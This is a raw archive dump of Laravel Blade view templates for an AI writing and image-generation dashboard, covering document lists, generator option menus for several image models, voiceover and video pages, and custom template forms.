    @if (!empty($integrations) && $checkIntegration && $wordpressExist) {{ __('Publish') }}

    @lang('Integrations')

    @foreach ($integrations as $integration) {{ $integration?->integration?->app }} @endforeach
    @endif
    @endsection @section('content')
    @include('panel.user.openai.documents_workbook_textarea')
    @endsection @php $lang_with_flags = []; foreach (LaravelLocalization::getSupportedLocales() as $lang => $properties) { $lang_with_flags[] = [ 'lang' => $lang, 'name' => $properties['native'], 'flag' => country2flag(substr($properties['regional'], strrpos($properties['regional'], '_') + 1)), ]; } @endphp @push('script') @if ($openai->type === 'voiceover' || $openai->type === \App\Domains\Entity\Enums\EntityEnum::ISOLATOR->value) @endif @if ($openai->type == 'code') @endif @endpush PKJW]¨8³y-y-3views/default/panel/user/openai/documents.blade.phpnu„[µü¤@php $sort_buttons = [ [ 'label' => __('Date'), 'sort' => 'created_at', ], [ 'label' => __('Title'), 'sort' => 'title', ], [ 'label' => __('Type'), 'sort' => 'openai_id', ], [ 'label' => __('Cost'), 'sort' => 'credits', ], ]; $filter_buttons = [ [ 'label' => __('All'), 'filter' => 'all', ], [ 'label' => __('Favorites'), 'filter' => 'favorites', ], [ 'label' => __('Text'), 'filter' => 'text', ], [ 'label' => __('Image'), 'filter' => 'image', ], [ 'label' => __('Video'), 'filter' => 'video', ], [ 'label' => __('Code'), 'filter' => 'code', ], ]; @endphp @extends('panel.layout.app', ['disable_tblr' => true]) @section('title', __('My Documents')) @section('titlebar_title') {{ $currfolder?->name ? __("Folder: $currfolder?->name") : __('My Documents') }} @endsection {{-- Filter list --}} @if ($items && count($items) > 0) @section('titlebar_after')
    @if (blank($currfolder))
    {{ __('Sort by:') }}
    @foreach ($sort_buttons as $button) @endforeach
    @foreach ($filter_buttons as $button) $filter == $button['filter'], ]) tag="button" type="submit" name="filter" value="{{ $button['filter'] }}" variant="ghost" ::class="$store.documentsFilter.filter === '{{ $button['filter'] }}' && 'active'" @click="$store.documentsFilter.changeFilter('{{ $button['filter'] }}')" > {{ $button['label'] }} @endforeach
    @endif
    @endsection @endif @section('content')
    {{-- Folders row --}} @if ($currfolder == null) @if (isset(auth()->user()->folders) && count(auth()->user()->folders) > 0)
    @foreach (auth()->user()->folders ?? [] as $folder) @endforeach
    {{ __('Options') }}
    {{ __('Delete All') }}
    @endif @else
    @endif {{-- Documents row --}} @if (!$items || count($items) === 0) @include('panel.user.openai.documents_empty') @else @include('panel.user.openai.documents_container') @endif
    @endsection PKJW] E²~Eviews/default/panel/user/openai/documents_workbook_textarea.blade.phpnu„[µü¤
    @include('panel.user.openai.components.workbook-actions', [ 'type' => $workbook->generator->type, 'title' => $workbook->title, 'slug' => $workbook->slug, 'output' => $workbook->output, 'is_generated_doc' => true, ])
    @if ($workbook->generator->type === 'code')
    {{ $workbook->output }}
    @elseif($workbook->generator->type === 'image')
    {{ __($workbook->generator->title) }}
    @elseif($workbook->generator->type === 'video')
    @elseif($workbook->generator->type === 'voiceover' || $workbook->generator->type === \App\Domains\Entity\Enums\EntityEnum::ISOLATOR->value)
    0:00
    @elseif(in_array($workbook->generator->type, ['text', 'youtube', 'rss', 'audio']))
    {!! $workbook->output !!} {{ __('Save') }} @csrf @endif
    PKJW]®û\LL8views/default/panel/user/openai/scripts/common.blade.phpnu„[µü¤ PKJW]ï¥ýÖ¦¦6views/default/panel/user/openai/scripts/code.blade.phpnu„[µü¤ PKJW]d󕨋W‹WDviews/default/panel/user/openai/scripts/voiceover-isolator.blade.phpnu„[µü¤ PKJW]¾Ý!!;views/default/panel/user/openai/realtime/frontend.blade.phpnu„[µü¤@php $api_key = ''; @endphp @extends('panel.layout.app', ['disable_tblr' => true]) @section('title', __('Realtime Chat')) @section('titlebar_actions', '') @push('before-head-close') @vite('resources/views/default/js/components/realtime-frontend/openaiRealtime.js') @endpush @section('content')
    @endsection @push('script') @endpush PKJW]˜á0ý¬¬>views/default/panel/user/openai/components/countries.blade.phpnu„[µü¤ PKJW]!8cyyDviews/default/panel/user/openai/components/generator_image.blade.phpnu„[µü¤@php use App\Helpers\Classes\ImageHelper; $items_per_page = 5; $total_items = $userOpenai->total(); $prompt_filters = [ 'all' => __('All'), 'favorite' => __('Favorite'), ]; $ai_tools = [ [ 'title' => 'Sketch to Image', 'desc' => 'Transform your ideas into reality.', 'icon' => ' ', 'color' => '#F1F1F0', ] + ImageHelper::toolShow('sketch_to_image'), [ 'title' => 'Reimagine', 'desc' => 'Generate similar variants easily.', 'icon' => ' ', 'color' => '#C2EBF8', ] + ImageHelper::toolShow('reimagine'), [ 'title' => 'Upscale', 'desc' => 'Enlarge your images by 4x easily.', 'icon' => ' ', 'color' => '#EDF4F2', ] + ImageHelper::toolShow('upscale'), [ 'title' => 'Replace BG', 'desc' => 'Change the background of anyimage.', 'icon' => ' ', 'color' => '#FEF3DE', ] + ImageHelper::toolShow('replace_background'), [ 'title' => 'Remove BG', 'desc' => 'Extract the main object/subject.', 'icon' => ' ', 'color' => '#DEFFEF', ] + ImageHelper::toolShow('remove_background'), [ 'title' => 'Remove Text', 'desc' => 'Change or remove text.', 'icon' => ' ', 'color' => '#F7DEFE', ] + ImageHelper::toolShow('remove_text'), ]; $ai_tools = array_filter($ai_tools, function ($tool) { return $tool['show']; }); $ai_tools = array_values($ai_tools); @endphp
    @if (setting('dalle_hidden', 0) != 1) {{ __('DALL-E') }} @endif @if (setting('enabled_gpt_image_1', '0') != '0') {{ __('GPT-IMAGE-1') }} @endif @if (setting('stable_hidden', 0) != 1) {{ __('Stable Diffusion') }} @endif @if (\App\Helpers\Classes\ApiHelper::setPiAPIKey()) @includeIf('midjourney::midjourney-tab') @endif @if (\App\Helpers\Classes\ApiHelper::setFalAIKey()) @includeFirst(['flux-pro::flux-pro-tab', 'panel.user.openai.includes.flux-pro-tab', 'vendor.empty']) @includeFirst(['ideogram::ideogram-tab', 'panel.user.openai.includes.ideogram-tab', 'vendor.empty']) @includeIf('nano-banana::nano-banana-tab') @includeIf('see-dream-v4::see-dream-v4-tab') @endif
    @if (setting('dalle_hidden', 0) !== 1)

    {{ __('Explain your idea') }}. | @if (setting('user_ai_image_prompt_library') === null || setting('user_ai_image_prompt_library')) @endif

    @foreach (json_decode($openai->questions, false, 512, JSON_THROW_ON_ERROR) ?? [] as $question) @if ($question->type === 'textarea') @endif @endforeach {{ __('Generate') }}
    {{ __('Advanced Settings') }}
    @endif @if (setting('enabled_gpt_image_1', '0') != '0') @endif @if (\App\Helpers\Classes\ApiHelper::setPiAPIKey()) @includeIf('midjourney::midjourney-tab-body') @endif @if (\App\Helpers\Classes\ApiHelper::setFalAIKey()) @includeFirst(['flux-pro::flux-pro-tab-body', 'panel.user.openai.includes.flux-pro-tab-body', 'vendor.empty']) @includeFirst(['ideogram::ideogram-tab-body', 'panel.user.openai.includes.ideogram-tab-body', 'vendor.empty']) @includeIf('nano-banana::nano-banana-tab-body') @includeIf('see-dream-v4::see-dream-v4-tab-body') @endif @include('panel.user.openai_chat.components.prompt_library_modal')
    @if (count($ai_tools) > 0)
    @foreach ($ai_tools as $tool)
    {!! $tool['icon'] !!}

    {{ __($tool['title']) }}

    {{ __($tool['desc']) }}

    {{ $tool['title'] }}
    @endforeach
    @endif

    {{ __('Result') }}

    @foreach ($userOpenai->take($items_per_page) as $item)
    request_id ? 'data-request-id=' . $item->request_id : '' }} >
    {{ $item->response }}

    {{ \Illuminate\Support\Str::limit($item->input, '30', '...') }}

    @endforeach
    @if ($userOpenai->count() > 0)
    {{ __('Loading more') }} @foreach ([0, 1, 2] as $item) @endforeach
    @endif
    @push('script') @includeIf('midjourney::midjourney-script') @includeFirst(['flux-pro::flux-pro-script', 'panel.user.openai.includes.flux-pro-script', 'vendor.empty']) @includeFirst(['ideogram::ideogram-script', 'panel.user.openai.includes.ideogram-script', 'vendor.empty']) @includeIf('nano-banana::nano-banana-script') @includeIf('see-dream-v4::see-dream-v4-script') @endpush PKJW]€‡ë˜™6™6Eviews/default/panel/user/openai/components/generator_others.blade.phpnu„[µü¤@php $creativity_levels = [ '0.25' => 'Economic', '0.5' => 'Average', '0.75' => 'Good', '1' => 'Premium', ]; $voice_tones = ['Professional', 'Funny', 'Casual', 'Excited', 'Witty', 'Sarcastic', 'Feminine', 'Masculine', 'Bold', 'Dramatic', 'Grumpy', 'Secretive', 'other']; $card_variant = Theme::getSetting('defaultVariations.card.variant', 'outline') === 'outline' ? 'none' : Theme::getSetting('defaultVariations.card.variant', 'solid'); $card_size = Theme::getSetting('defaultVariations.card.variant', 'outline') === 'outline' ? 'none' : Theme::getSetting('defaultVariations.card.size', 'md'); $card_roundness = Theme::getSetting('defaultVariations.card.roundness', 'default') === 'default' ? 'none' : Theme::getSetting('defaultVariations.card.roundness', 'default'); if ($openai->type == 'audio') { if ($card_variant === 'none') { $card_variant = 'outline'; } if ($card_size === 'none') { $card_size = 'md'; } if ($card_roundness === 'none') { $card_roundness = 'lg'; } } @endphp
    {{ __('Remaining Credits') }}
    @if ($openai->type != 'image')
    @if ($openai->type === 'audio')

    @lang('Drag and drop an audio file')

    @lang('or click here to browse your files.')

    @endif @foreach (json_decode($openai->questions) ?? [] as $question) @if ($question?->type == 'text') @elseif($question?->type == 'textarea') @elseif($question?->type == 'select') @foreach ($question?->selectListValues ?? [] as $input) @endforeach @elseif($question?->type == 'file') @endif @endforeach @if ($openai->type == 'text') @if (setting('hide_output_length_option') != 1) @endif @if (setting('hide_creativity_option') != 1) @foreach ($creativity_levels as $creativity => $label) @endforeach @endif @include('panel.user.openai.components.countries') @if (setting('hide_tone_of_voice_option') != 1) @foreach ($voice_tones as $tone) @endforeach @endif @endif {{ __('Generate') }}
    @endif
    @include('panel.user.openai.components.generator_sidebar_table')
    @push('script') @if ($openai->type == 'code') @endif @endpush PKJW]Á\Ô<<Mviews/default/panel/user/openai/components/modals/create-new-folder.blade.phpnu„[µü¤
    @csrf
    {{ __('Cancel') }} {{ __('Add') }}
    PKJW],lɤ°°Iviews/default/panel/user/openai/components/modals/rename-folder.blade.phpnu„[µü¤
    @csrf
    {{ __('Cancel') }} {{ __('Save changes') }}
    PKJW]”V¤¤Iviews/default/panel/user/openai/components/modals/delete-folder.blade.phpnu„[µü¤
    @csrf {{--

    {{ __('Delete all files inside the folder') }}

    --}}
    {{ __('Cancel') }} {{ __('Delete') }}
    PKJW]êR¼;;Jviews/default/panel/user/openai/components/modals/move-to-folder.blade.phpnu„[µü¤
    @csrf @foreach ($folders as $folder) @endforeach
    {{ __('Cancel') }} {{ __('Move') }}
    PKJW]pþ•š³³Rviews/default/panel/user/openai/components/generator_image_dalle_options.blade.phpnu„[µü¤@php use App\Domains\Entity\Enums\EntityEnum; $dalle_select_options = [ 'size' => [ '256x256' => '256 x 256', '512x512' => '512 x 512', '1024x1024' => '1024 x 1024', ], 'image_style' => [ '' => 'None', '3d_render' => '3D Render', 'anime' => 'Anime', 'ballpoint_pen' => 'Ballpoint Pen Drawing', 'bauhaus' => 'Bauhaus', 'cartoon' => 'Cartoon', 'clay' => 'Clay', 'contemporary' => 'Contemporary', 'cubism' => 'Cubism', 'cyberpunk' => 'Cyberpunk', 'glitchcore' => 'Glitchcore', 'impressionism' => 'Impressionism', 'isometric' => 'Isometric', 'line' => 'Line Art', 'low_poly' => 'Low Poly', 'minimalism' => 'Minimalism', 'modern' => 'Modern', 'origami' => 'Origami', 'pencil' => 'Pencil Drawing', 'pixel' => 'Pixel', 'pointillism' => 'Pointillism', 'pop' => 'Pop', 'realistic' => 'Realistic', 'renaissance' => 'Renaissance', 'retro' => 'Retro', 'steampunk' => 'Steampunk', 'sticker' => 'Sticker', 'ukiyo' => 'Ukiyo', 'vaporwave' => 'Vaporwave', 'vector' => 'Vector', 'watercolor' => 'Watercolor', ], 'image_lighting' => [ '' => 'None', 'ambient' => 'Ambient', 'backlight' => 'Backlight', 'blue_hour' => 'Blue Hour', 'cinematic' => 'Cinematic', 'cold' => 'Cold', 'dramatic' => 'Dramatic', 'foggy' => 'Foggy', 'golden_hour' => 'Golden Hour', 'hard' => 'Hard', 'natural' => 'Natural', 'neon' => 'Neon', 'studio' => 'Studio', 'warm' => 'Warm', ], 'image_mood' => [ '' => 'None', 'aggressive' => 'Aggressive', 'angry' => 'Angry', 'boring' => 'Boring', 'bright' => 'Bright', 'calm' => 'Calm', 'cheerful' => 'Cheerful', 'chilling' => 'Chilling', 'colorful' => 'Colorful', 'dark' => 'Dark', 'neutral' => 'Neutral', ], 'image_number_of_images' => [ '1' => '1', '2' => '2', '3' => '3', '4' => '4', '5' => '5', ], 'image_quality' => [ 'standard' => 'Standard', 'hd' => 'HD', ], ]; if ($settings_two->dalle === EntityEnum::DALL_E_3->value) { $dalle_select_options['size'] = [ '1024x1024' => '1024 x 1024', '1024x1792' => '1024 x 1792', '1792x1024' => '1792 x 1024', ]; $dalle_select_options['image_number_of_images'] = [ '1' => '1', ]; } @endphp value => $settings_two->dalle === EntityEnum::DALL_E_2->value, EntityEnum::DALL_E_3->value => $settings_two->dalle === EntityEnum::DALL_E_3->value, ]) type="select" name="size" size="lg" @change="if ( $app_is_demo && {{ $settings_two->dalle === EntityEnum::DALL_E_3 ? 1 : 0 }} && $event.target.value !== '1024x1024' ) { toastr.info('{{ __('This feature is disabled in Demo version.') }}') return $event.target.value = '1024x1024'; }" > @foreach ($dalle_select_options['size'] as $value => $label) @endforeach @foreach ($dalle_select_options['image_style'] as $value => $label) @endforeach @foreach ($dalle_select_options['image_lighting'] as $value => $label) @endforeach @foreach ($dalle_select_options['image_mood'] as $value => $label) @endforeach value => $settings_two->dalle === EntityEnum::DALL_E_2->value, EntityEnum::DALL_E_3->value => $settings_two->dalle === EntityEnum::DALL_E_3->value, ]) label="{{ __('Number of Images') }}" name="image_number_of_images" container-class="grow" size="lg" type="select" > @foreach ($dalle_select_options['image_number_of_images'] as $value => $label) @endforeach @foreach ($dalle_select_options['image_quality'] as $value => $label) @endforeach PKJW]K-_ɳ³\views/default/panel/user/openai/components/generator_image_stablediffusion_options.blade.phpnu„[µü¤@php use App\Domains\Entity\Enums\EntityEnum; $stablediffusion_select_options = [ 'style_preset' => [ '' => 'None', '3d-model' => '3D Model', 'analog-film' => 'Analog Film', 'anime' => 'Anime', 'cinematic' => 'Cinematic', 'comic-book' => 'Comic Book', 'digital-art' => 'Digital Art', 'enhance' => 'Enhance', 'fantasy-art' => 'Fantasy Art', 'isometric' => 'Isometric', 'line-art' => 'Line Art', 'low-poly' => 'Low Poly', 'modeling-compound' => 'Modeling Compound', 'neon-punk' => 'Neon Punk', 'origami' => 'Origami', 'photographic' => 'Photographic', 'pixel-art' => 'Pixel Art', 'tile-texture' => 'Tile Texture', ], 'image_mood_stable' => [ '' => 'None', 'aggressive' => 'Aggressive', 'angry' => 'Angry', 'boring' => 'Boring', 'bright' => 'Bright', 'calm' => 'Calm', 'cheerful' => 'Cheerful', 'chilling' => 'Chilling', 'colorful' => 'Colorful', 'dark' => 'Dark', 'neutral' => 'Neutral', ], 'sampler' => [ '' => 'None', 'DDIM' => 'DDIM', 'DDPM' => 'DDPM', 'K_DPMPP_2M' => 'K_DPMPP_2M', 'K_DPM_2' => 'K_DPM_2', 'K_DPM_2_ANCESTRAL' => 'K_DPM_2_ANCESTRAL', 'K_EULER' => 'K_EULER', 'K_EULER_ANCESTRAL' => 'K_EULER_ANCESTRAL', 'K_HEUN' => 'K_HEUN', 'K_LMS' => 'K_LMS', ], 'clip_guidance_preset' => [ '' => 'None', 'FAST_BLUE' => 'FAST BLUE', 'FAST_GREEN' => 'FAST GREEN', 'SIMPLE' => 'SIMPLE', 'SLOW' => 'SLOW', 'SLOWER' => 'SLOWER', 'SLOWEST' => 'SLOWEST', ], 'image_resolution' => [ '1x1' => '1:1', '16x9' => '16:9', '21x9' => '21:9', '2x3' => '2:3', '3x2' => '3:2', '4x5' => '4:5', '5x4' => '5:4', '9x16' => '9:16', '9x21' => '9:21', ], 'image_number_of_images_stable' => [ '1' => '1', '2' => '2', '3' => '3', '4' => '4', '5' => '5', ], ]; $engine = $settings_two->stablediffusion_default_model; $isV2BetaModels = EntityEnum::fromSlug($engine)->isV2BetaSdEntity(); if ($engine == EntityEnum::STABLE_DIFFUSION_XL_1024_V_1_0->value) { $stablediffusion_select_options['image_resolution'] = [ '640x1536' => '640 x 1536', '768x1344' => '768 x 1344', '832x1216' => '832 x 1216', '896x1152' => '896 x 1152', '1024x1024' => '1024 x 1024', '1152x896' => '1152 x 896', '1216x832' => '1216 x 832', '1344x768' => '1344 x 768', '1536x640' => '1536 x 640', ]; } elseif (!$isV2BetaModels) { $stablediffusion_select_options['image_resolution'] = [ '896x512' => '896 x 512', '768x512' => '768 x 512', '512x512' => '512 x 512', '512x768' => '512 x 768', '512x896' => '512 x 896', ]; } @endphp
    @foreach ($stablediffusion_select_options['style_preset'] as $value => $label) @endforeach @foreach ($stablediffusion_select_options['image_mood_stable'] as $value => $label) @endforeach @foreach ($stablediffusion_select_options['sampler'] as $value => $label) @endforeach @foreach ($stablediffusion_select_options['clip_guidance_preset'] as $value => $label) @endforeach
    @foreach ($stablediffusion_select_options['image_resolution'] as $value => $label) @endforeach @foreach ($stablediffusion_select_options['image_number_of_images_stable'] as $value => $label) @endforeach
    PKJW] Þ÷AŸŸHviews/default/panel/user/openai/components/generator_voiceover.blade.phpnu„[µü¤
    @if ($settings_two->tts == 'openai') @else @endif @if ($settings_two->tts == 'openai') @else @endif

    {{ __('Speeches') }}

    {{ __('Add New') }}
    {{ __('Generate') }}
    @include('panel.user.openai.components.generator_sidebar_table')
    PKJW]ê„î||Eviews/default/panel/user/openai/components/workbook-actions.blade.phpnu„[µü¤
    @if ($type !== 'code' && $type !== 'image') @endif @if ($type !== 'image') @endif @if ($type !== 'code') @if ($type === 'image' || $type === 'video') @elseif ($type === 'voiceover' || $type === \App\Domains\Entity\Enums\EntityEnum::ISOLATOR->value) @else @endif @endif @if (isset($is_generated_doc)) @endif @if (isset($workbook))
    @if (!empty($integrations) && $checkIntegration) {{ __('Publish') }}

    @lang('Integrations')

    @foreach ($integrations as $integration) {{ $integration?->integration?->app }} @endforeach
    @endif
    @endif
    PKJW]¿N.!^k^kDviews/default/panel/user/openai/components/generator_video.blade.phpnu„[µü¤@php $items_per_page = 5; $total_items = $userOpenai->total(); @endphp

    {{ __('Source Image') }}

    {{ __('Generate') }}

    {{ __('Result') }}

    @foreach ($userOpenai->take($items_per_page) as $item)
    @endforeach
    @if ($userOpenai->count() > 0)
    {{ __('Loading more') }} @foreach ([0, 1, 2] as $item) @endforeach
    @endif
    @push('script') @endpush PKJW]~š·®³³Xviews/default/panel/user/openai/components/generator_image_gpt_image_1_options.blade.phpnu„[µü¤@php use App\Domains\Entity\Enums\EntityEnum; $dalle_select_options = [ 'image_style' => [ '' => 'None', '3d_render' => '3D Render', 'anime' => 'Anime', 'ballpoint_pen' => 'Ballpoint Pen Drawing', 'bauhaus' => 'Bauhaus', 'cartoon' => 'Cartoon', 'clay' => 'Clay', 'contemporary' => 'Contemporary', 'cubism' => 'Cubism', 'cyberpunk' => 'Cyberpunk', 'glitchcore' => 'Glitchcore', 'impressionism' => 'Impressionism', 'isometric' => 'Isometric', 'line' => 'Line Art', 'low_poly' => 'Low Poly', 'minimalism' => 'Minimalism', 'modern' => 'Modern', 'origami' => 'Origami', 'pencil' => 'Pencil Drawing', 'pixel' => 'Pixel', 'pointillism' => 'Pointillism', 'pop' => 'Pop', 'realistic' => 'Realistic', 'renaissance' => 'Renaissance', 'retro' => 'Retro', 'steampunk' => 'Steampunk', 'sticker' => 'Sticker', 'ukiyo' => 'Ukiyo', 'vaporwave' => 'Vaporwave', 'vector' => 'Vector', 'watercolor' => 'Watercolor', ], 'image_lighting' => [ '' => 'None', 'ambient' => 'Ambient', 'backlight' => 'Backlight', 'blue_hour' => 'Blue Hour', 'cinematic' => 'Cinematic', 'cold' => 'Cold', 'dramatic' => 'Dramatic', 'foggy' => 'Foggy', 'golden_hour' => 'Golden Hour', 'hard' => 'Hard', 'natural' => 'Natural', 'neon' => 'Neon', 'studio' => 'Studio', 'warm' => 'Warm', ], 'image_mood' => [ '' => 'None', 'aggressive' => 'Aggressive', 'angry' => 'Angry', 'boring' => 'Boring', 'bright' => 'Bright', 'calm' => 'Calm', 'cheerful' => 'Cheerful', 'chilling' => 'Chilling', 'colorful' => 'Colorful', 'dark' => 'Dark', 'neutral' => 'Neutral', ], 'image_number_of_images' => [ '1' => '1', '2' => '2', '3' => '3', '4' => '4', '5' => '5', ], 'image_quality' => [ 'auto' => 'AUTO', ], ]; $dalle_select_options['size'] = [ '1024x1024' => '1024 x 1024', '1024x1792' => '1024 x 1792', '1792x1024' => '1792 x 1024', ]; $dalle_select_options['image_number_of_images'] = [ '1' => '1', ]; @endphp value => $settings_two->dalle === EntityEnum::DALL_E_2->value, EntityEnum::DALL_E_3->value => $settings_two->dalle === EntityEnum::DALL_E_3->value, ]) type="select" name="size" size="lg" @change="if ( $app_is_demo && {{ $settings_two->dalle === EntityEnum::DALL_E_3 ? 1 : 0 }} && $event.target.value !== '1024x1024' ) { toastr.info('{{ __('This feature is disabled in Demo version.') }}') return $event.target.value = '1024x1024'; }" > @foreach ($dalle_select_options['size'] as $value => $label) @endforeach @foreach ($dalle_select_options['image_style'] as $value => $label) @endforeach @foreach ($dalle_select_options['image_lighting'] as $value => $label) @endforeach @foreach ($dalle_select_options['image_mood'] as $value => $label) @endforeach value => $settings_two->dalle === EntityEnum::DALL_E_2->value, EntityEnum::DALL_E_3->value => $settings_two->dalle === EntityEnum::DALL_E_3->value, ]) label="{{ __('Number of Images') }}" name="image_number_of_images" container-class="grow" size="lg" type="select" > @foreach ($dalle_select_options['image_number_of_images'] as $value => $label) @endforeach @foreach ($dalle_select_options['image_quality'] as $value => $label) @endforeach PKJW]'6�£T£TLviews/default/panel/user/openai/components/generator_sidebar_table.blade.phpnu„[µü¤@if ($openai->type == 'audio')
    @forelse ($userOpenai as $entry)
    0:00

    {!! $entry->output !!}

    @if ((int) $setting->feature_ai_advanced_editor === 1) @lang('Open in AI Editor') @endif
    @empty

    {{ __('No entries created yet.') }}

    @endforelse
    @elseif ($openai->type == 'voiceover') {{ __('File') }} {{ __('Language') }} {{ __('Voice') }} {{ __('Date') }} {{ __('Play') }} {{ __('Action') }} @forelse ($userOpenai as $entry) @if (empty(json_decode($entry->response))) @continue @endif {{ $entry->title }} @foreach (array_unique(json_decode($entry->response)?->language ?? []) as $lang) @php $parts = explode('-', $lang); $countryCode = $parts[1] ?? null; @endphp @if ($countryCode) {{ country2flag($countryCode) }} @endif @endforeach {{ $lang }} @foreach (array_unique(json_decode($entry->response)?->voices) ?? [] as $voice) {{ getVoiceNames($voice) }} @endforeach {{ $entry->created_at->format('M d, Y') }}, {{ $entry->created_at->format('H:m') }}
    0:00 @empty {{ __('No entries created yet.') }} @endforelse
    {{ $userOpenai->withPath(route('dashboard.user.openai.generator', 'ai_voiceover'))->links('pagination::bootstrap-5-alt') }}
    @elseif ($openai->type == \App\Domains\Entity\Enums\EntityEnum::ISOLATOR->value) {{ __('File') }} {{ __('Info') }} {{ __('Play') }} {{ __('Action') }} @forelse ($userOpenai as $entry) @if (empty(json_decode($entry->response))) @continue @endif {{ $entry->title }} {{ $entry->created_at->format('M d, Y') }}, @php $size = filesize(public_path('uploads/' . $entry->output)); $size = $size / 1024; if ($size < 1024) { echo round($size, 2) . ' KB'; } else { echo round($size / 1024, 2) . ' MB'; } @endphp
    0:00 @empty {{ __('No entries created yet.') }} @endforelse
    {{ $userOpenai->withPath(route('dashboard.user.openai.generator', 'ai_voiceover'))->links('pagination::bootstrap-5-alt') }}
    @else {{ __('Type') }} {{ __('Result') }} @forelse ($userOpenai as $entry) @if ($entry->generator->image !== 'none') {!! html_entity_decode($entry->generator->image) !!} @endif @if ($openai->type == 'text') {!! $entry->output !!} @elseif($openai->type == 'code')
    {{ $entry->output }}
    @else {{ $entry->output }} @endif @empty {{ __('No entries created yet.') }} @endforelse
    @endif PKJW]Sx�559views/default/panel/user/openai/documents_empty.blade.phpnu„[µü¤

    {{ __("You don't have any documents.") }}

    {{ __('Start generating texts by adding a document.') }}

    {{ __('Add New') }}
    PKJW]Ê¢k‰F7F78views/default/panel/user/openai/rewriter/index.blade.phpnu„[µü¤@php $voice_tones = ['Professional', 'Funny', 'Casual', 'Excited', 'Witty', 'Sarcastic', 'Feminine', 'Masculine', 'Bold', 'Dramatic', 'Grumpy', 'Secretive', 'other']; @endphp @extends('panel.layout.app', ['disable_tblr' => true]) @section('title', __('AI ReWriter')) @section('titlebar_subtitle', __('Effortlessly reshape and elevate your pre-existing content with a single click.')) @section('content')
    {{ __('Remaining Credits') }}
    @if (setting('hide_tone_of_voice_option') != 1) @foreach ($voice_tones as $tone) @endforeach @endif @include('panel.user.openai.components.countries') {{ __('Generate') }}
    Theme::getSetting('defaultVariations.card.variant', 'outline') === 'outline', ]) variant="{{ Theme::getSetting('defaultVariations.card.variant', 'outline') === 'outline' ? 'none' : Theme::getSetting('defaultVariations.card.variant', 'solid') }}" size="{{ Theme::getSetting('defaultVariations.card.variant', 'outline') === 'outline' ? 'none' : Theme::getSetting('defaultVariations.card.size', 'md') }}" roundness="{{ Theme::getSetting('defaultVariations.card.roundness', 'default') === 'default' ? 'none' : Theme::getSetting('defaultVariations.card.roundness', 'default') }}" >
    @include('panel.user.openai.components.workbook-actions', [ 'type' => 'text', 'title' => __('AI ReWriter'), 'is_generated_doc' => true, ]) {{-- --}}
    @endsection @php $lang_with_flags = []; foreach (LaravelLocalization::getSupportedLocales() as $lang => $properties) { $lang_with_flags[] = [ 'lang' => $lang, 'name' => $properties['native'], 'flag' => country2flag(substr($properties['regional'], strrpos($properties['regional'], '_') + 1)), ]; } @endphp @push('script') @endpush PKJW]àCe——5views/default/panel/user/openai/custom/list.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('My Templates')) @section('titlebar_subtitle', __('Manage Your Templates')) @section('titlebar_actions') @if (setting('user_ai_writer_custom_templates', 0)) {{ __('Create Template') }} @endif @endsection @section('content')
    {{ __('Status') }} {{ __('Template Name') }} {{ __('User') }} {{ __('Template Description') }} {{ __('Package') }} {{ __('Updated At') }} {{ __('Actions') }} @foreach ($list as $entry) $entry->active == 1, 'passive' => $entry->active == 0, ]) > {{ __($entry->title) }} {{ $entry?->user?->name ?: __('System') }} {{ __($entry->description) }}

    {{ date('j.n.Y', strtotime($entry->updated_at)) }} {{ date('H:i:s', strtotime($entry->updated_at)) }}

    @endforeach
    @endsection @push('script') @endpush PKJW]ÌŽkôBDBD5views/default/panel/user/openai/custom/form.blade.phpnu„[µü¤@extends('panel.layout.settings', ['disable_tblr' => true]) @section('title', $template != null ? __('Edit Custom Template') : __('Add Template')) @section('titlebar_actions') @if (setting('user_ai_writer_custom_templates', 0)) {{ __('My Template') }} @endif @endsection @section('settings')
    {{ $template != null ? $template->description : null }}
    @if ($template != null) @foreach (json_decode($template->questions) ?? [] as $question) @endforeach
    @else
    @endif
    @if ($template != null) @foreach (json_decode($template->questions) ?? [] as $question) @endforeach @endif
    {{ $template != null ? $template->prompt : null }}
    @if ($app_is_demo) {{ __('Save') }} @else {{ __('Save') }} @endif
    @endsection @push('script') @endpush PKJW]Ûj([[2views/default/panel/user/generator/index.blade.phpnu„[µü¤@extends('panel.layout.app', [ 'disable_header' => true, 'disable_titlebar' => true, 'disable_navbar' => true, 'disable_footer' => true, 'disable_floating_menu' => true, 'disable_mobile_bottom_menu' => true, 'disable_tblr' => true, 'layout_wide' => true, ]) @push('css') @endpush @section('content')
    @include('panel.user.generator.components.sidebar') @include('panel.user.generator.components.editor')
    @endsection @push('script') @endpush PKJW]–�óôÔ<Ô<Iviews/default/panel/user/generator/components/generator-options.blade.phpnu„[µü¤@php $creativity_levels = [ '0.25' => 'Economic', '0.5' => 'Average', '0.75' => 'Good', '1' => 'Premium', ]; $voice_tones = [ 'Professional', 'Funny', 'Casual', 'Excited', 'Witty', 'Sarcastic', 'Feminine', 'Masculine', 'Bold', 'Dramatic', 'Grumpy', 'Secretive', 'other', ]; $youtube_actions = [ 'blog' => __('Prepare a Blog Post'), 'short' => __('Explain the Main Idea'), 'list' => __('Create a List'), 'tldr' => __('Create TLDR'), 'prons_cons' => __('Prepare Pros and Cons'), ]; @endphp
    @foreach (json_decode($openai->questions, false, 512, JSON_THROW_ON_ERROR) ?? [] as $question)
    @php $placeholder = !empty($question?->description) ? __($question?->description) : __($question?->question); @endphp @if ($question?->type == 'text') @elseif($question?->type == 'textarea') @elseif($question?->type == 'select') @foreach ($question?->selectListValues ?? [] as $input) @endforeach @elseif($question?->type == 'rss_feed') @elseif($question?->type == 'url') @endif
    @endforeach @if ($openai->type == 'youtube') @foreach ($youtube_actions as $value => $label) @endforeach @include('panel.user.openai.components.countries') @endif @if ($openai->type == 'text' || $openai->type == 'rss') @include('panel.user.openai.components.countries') @if (setting('hide_output_length_option') != 1) @endif @if (setting('hide_creativity_option') != 1) @foreach ($creativity_levels as $creativity => $label) @endforeach @endif @if (setting('hide_tone_of_voice_option') != 1) @foreach ($voice_tones as $tone) @endforeach @endif @endif @if ($models->count() && setting('select_model_option', '0') == '1') @foreach ($models as $model) @endforeach @endif @if (setting('open_router_status') == 1) @includeFirst(['open-router::open-router-select', 'vendor.empty']) @endif {{ __('Generate') }}
    PKJW]㛤2¤2Nviews/default/panel/user/generator/components/editor-actions-top-bar.blade.phpnu„[µü¤
    PKJW]©d¾ËTWTW?views/default/panel/user/generator/components/sidebar.blade.phpnu„[µü¤@php $plan = Auth::user()->activePlan(); $plan_type = 'regular'; if ($plan != null) { $plan_type = strtolower($plan->plan_type); } $auth = Auth::user(); @endphp @push('style') @endpush
